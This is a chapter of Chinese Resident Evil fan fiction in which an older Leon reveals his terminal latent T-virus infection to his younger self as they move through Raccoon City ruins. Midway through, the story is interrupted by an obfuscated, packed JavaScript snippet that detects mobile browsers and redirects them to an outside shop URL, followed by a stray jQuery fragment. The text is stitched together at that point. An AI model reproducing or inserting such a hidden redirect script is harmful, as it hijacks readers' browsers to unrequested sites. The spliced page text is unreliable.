5. 死亡
作品:《[生化危机]49岁里昂×21岁里昂》 肯尼迪力气虽然不小,可又怎么大得过身经百战的里昂。
里昂只用了点巧劲,手腕一翻便从他手中抽了出来。
里昂甩了甩手,看向肯尼迪,“把手套给我。”
“嘿,别无视我行不行?”
里昂懒得废话,一把将手套夺了回去。
“真是野蛮的强盗。”肯尼迪试图阻止,可惜在里昂面前他就像只被溜着玩的小狗,三两下就被抢走了。
里昂给“安魂”重新装好子弹,插回胸前的枪袋。“走了。时间不等人,格蕾丝还等着我们。”
肯尼迪把枪拿好,快步跟上,满脸不忿,“为什么不肯说?这到底是什么?病毒感染吗?您的身体到底怎么了?到底发生了什么,嘿,您的身体也是我的身体,我至少有权知道答案吧?”
里昂带着肯尼迪从浣熊市警察局的废墟出来,沿着雪莉给的路线往孤儿院方向奔跑。
而路上不时有丧尸拦路,他顺手解决。
而身后的肯尼迪像个喇叭似的,里昂满脑都回荡着“What happened?”
“……哦,麻烦你安静点好吗?”里昂从来不知道一个人可以这么吵,他任务的时候向来独来独往,哪经历过这种声音轰炸。
肯尼迪一枪爆掉前面丧尸的脑袋,嘴却没停,“不行,我得为自己负责。您得明白,这也是我的身体。”
“……”
里昂无奈地摇了摇头。看来不告诉他,这一路是别想清净了。
解决完挡路的丧尸,里昂终于看见了孤儿院那扇废弃的门牌。
他按下耳麦,“我到孤儿院了。这儿看起来什么也没有……”
“注意安全,里昂。”雪莉说。
肯尼迪凑过来插嘴,“雪莉小姐,您知不知道里昂长官手上有一片黑色的血丝?还在不断蔓延,双手和脖子上都有。我看那样子不大对劲,那到底是什么?”
他话还没说完,里昂已经切断了语音。可是头两句,雪莉还是听见了。
很快,雪莉担忧的声音传来,“里昂,你还好吗?”
“我好得不能再好了。”里昂不假思索道。
“里昂……”
“嘿他可一点也不好…”
“这儿有个碎嘴的麻烦,看来我得处理一下。”里昂关掉耳麦,无可奈何地白了肯尼迪一眼。
肯尼迪见他那副又气又恼的样子,往后退了半步,“就算您要打我,我也还是会问的。”
“我看上去有那么暴躁吗?”里昂吐了口气,无奈道,“算了,反正你迟早会知道,跟上。”
肯尼迪眼睛一亮,“您总算肯说了?”
“潜伏性T病毒综合征。”
肯尼迪一脸茫然。他毕竟还没经历过那些,自然不知道这个名词究竟是什么意思。
“你不是想知道我跟浣熊市警察局的渊源吗?那我长话短说。”
“我去浣熊市报到的那天,也就是你来到这里的那个时间。你已经见过那些奇怪的生物了,他们都是被一种叫T病毒的东西感染变异。而那种病毒让整个浣熊市在短短几天内变成了人间炼狱,把人变成没有理智的怪物……”
说到这里,里昂眉头紧皱,神情明显痛苦起来。
“当时我以为自己没被感染。可其实是潜伏性的T病毒,它在我体内变异成了一种更可怕的东西,连清除T病毒的抗毒剂都不管用。你明白这意味着什么吗?”
“您……您是说您要死了?!”肯尼迪瞳孔骤缩,嘴唇发白,满脸不可置信。
里昂倒是一副无所谓的样子,“你不用太担心。你刚到浣熊市,接触时间不长,也许根本没感染。而且现在时间还早,肯定能等到抗毒剂研制出来。”
“我担心的不是这个。”肯尼迪烦躁地抓了抓头发,从里昂身后快步走到他前面,“您快死了,您知道吗?我担心的是您。”
“我知道。”
“您知道?”肯尼迪简直不敢相信自己的耳朵,“您知道,为什么还在这儿执行任务?赶紧去治疗啊?”
“我知道……”
“为什么?您为什么还能这么淡定?您已经放弃了?”肯尼迪实在受不了他这副无所谓的态度,直接拦住去路,气得一把攥住里昂的衣领。
里昂顿住了。已经很久没人敢这么揪着他的衣领了,换作平时,这种人早被他打翻在地了。
“您那个特工组织到底是什么货色?”肯尼迪怒气冲冲地说,“让您这么一个快死的老头子来执行这种任务?”
里昂把手放在他攥紧的手上,声音冷下来,“我不喜欢这样。放手。再不放手,你会后悔的。”
“我不放!”
下一秒,里昂单手将他按倒在地。
肯尼迪痛呼一声,趴在地上侧头瞪着他。
里昂整理好被揪皱的衣领,嘴唇紧抿,抬脚要走。刚迈出一步,裤腿就被攥住了。
“………”
他回头看去,肯尼迪那双浅蓝色的眼睛正死死盯着他,一副绝不罢休的样子。
里昂抬头望了望天,微微摇头,深深叹了口气,“我已经告诉你了。有必要这么揪着不放吗?”
“最重要的事,您一直没说。”
里昂眉头紧锁,满脸疲惫。他心里的那些想法,就连最亲近的人都没告诉过。
“……算了。”
反正他也活不了多久了。
他蹲下来,朝肯尼迪伸出手。
肯尼迪那双淡蓝色的眼睛眨了眨,里面像是点缀了小星星,他似乎有些不敢相信。
“您总算肯说了?”
肯尼迪站起身,都顾不得身上隐隐作痛的腹部,目不转睛地盯着里昂。
里昂心里一软,真是青春稚嫩的自己啊,执着的让他……手足无措。
他道,“边走边说吧。”
“制造T病毒的罪魁祸首是安布雷拉公司。我这么多年一直在跟这些生化恐怖主义打交道。这次任务的线索,全都指向一个人——维克多·基甸。这人以前是安布雷拉的研究员,参与过T病毒的研究。所以我不可能放他走。”
“难道就没有别的特工了?非得是您?”
里昂眼底暗了暗,睫毛微微垂下,手死死攥紧。
肯尼迪说,“您一定有更深的原因,才会连命都不要跑到这儿来。”
里昂嘴角微勾,“我是一名特工。追查安布雷拉的余孽、阻止新的生化威胁,对我来说是不可推卸的职责。”
“哦,拜托……别跟我绕圈子行不行?”
里昂有些不耐烦了,“我还能怎么说?不是这个原因,还能是什么?”
“是浣熊市警察局……对吗?”
肯尼迪的声音骤然响起。
本来大步向前的里昂竟顿了一顿,那停顿极细微,可肯尼迪还是察觉到了。
“看来我说对了。”
里昂装作不在意,“那是二十八年前的事了……”
“可您一直没忘。你时间还记的这么清楚。”
“够了!”里昂声音突然拔高,“你到底想知道什么?扮演侦探让你觉得很有趣吗?”
“很明显,”肯尼迪说,“您恼羞成怒了。”
“Fuck!”里昂下意识抓住胸口“安魂”的枪柄,“我真想一枪崩了你。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404835|200450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“很抱歉,我觉得自己应该没那么残暴。”
“呵呵……”里昂无奈地笑了。果然是了解自己的,永远是自己。
“不过这次你不会明白的,也不会感同身受。”里昂说,“我也挺庆幸的……很高兴你不在那里,菜鸟。”
“…………”肯尼迪一怔。那里?是浣熊市警察局吗?
“我确实是因为浣熊市才来到这儿。那一晚的经历,我想我这辈子都不会忘记。而也是那一晚,彻底改变了我的人生,搅乱了我的人生。”
“详细的事我不想说,反正都是戳人伤口的伤心事。”
“所以就算要死了,只要任务牵扯到浣熊市,我都会来。我要知道真相。我不想死不瞑目,你明白吗?”他看着肯尼迪,“你不是了解自己吗?你应该知道,我做了决定就不会改。”
“…………”
肯尼迪张了张嘴。他确实不太明白……究竟发生了什么,让未来的自己背负上这么沉重的使命?毕竟他没有经历过。
可里昂话语里的痛苦和决绝,让他明白,他没法再劝了。
他的声音有些发涩,“还有多久?您……还能活多久?”
里昂嘴角扯了扯,“不知道。也许一天?也许……马上。”
“您怎么还笑得出来?”
“我已经活够久了。”
“……”
什么叫活的够久了?!
……
里昂带着肯尼迪从洞穴里走出来,眼前是一片悬崖。崖边摆着BSAA留下的装置。
他低头看了看,下面的峡谷很深,而在旁边挂着绳子,看来已经是有人下去了。
“看来下面有东西。跟上。”
他回头看了一眼肯尼迪。那年轻人还沉浸在刚才那番话里,神色恍惚。里昂叹了口气,“我早就知道会有这一天。没必要这样。”
“我……”肯尼迪张了张嘴,想说什么,又不知道说什么才好。他很快调整好表情,不想让里昂看出来。
可心里,却翻来覆去地想着那句话。
里昂率先抓住绳索,他双腿蹬稳,顺着绳索向下坠去。峡谷很深,深得看不见底。而等他落到谷底,积水已经没过了靴底。
里昂打开手电筒,光束扫过四周,前方出现一个山洞,洞口黑黢黢的,就像是深不见底的深渊。
脚下全是水,每一步都溅起水声。
“啪嗒……啪嗒……”
山洞里安静得有些过分。
“注意周围。”里昂说,“感觉不太对劲。”
“明白。”肯尼迪警惕地环顾四周,可心里那股压不住的难过还是在胸口蔓延。
他还是像之前一样,望着前面那个男人的背影。
想到他快要死了,他心里就觉得难受得要命。
要不是怕拖累进度,拖累里昂,他真想大哭一场。可身为警察的素养,让他只能死死压住自己的情绪。
就在这时,他听见窸窸窣窣的声音,有什么东西缠上了他的脚腕。
肯尼迪举起手电筒照过去。那些原本一动不动的藤蔓竟然活了过来,一朵花像张开的大嘴,满是獠牙,朝他扑来。
他还没反应过来,里昂已经一把将他推开,反手一枪,把那朵食人花轰得粉碎。
肯尼迪愣住了。他终于知道自己为什么这么难受了。
里昂又救了他,而且是不顾性命地救了他。
他看着里昂手臂上擦破的伤口,心里五味杂陈。
“我已经活够久了……”
这句话又在他脑子里响起来。
肯尼迪心里大喊道,但是我不想让你死!

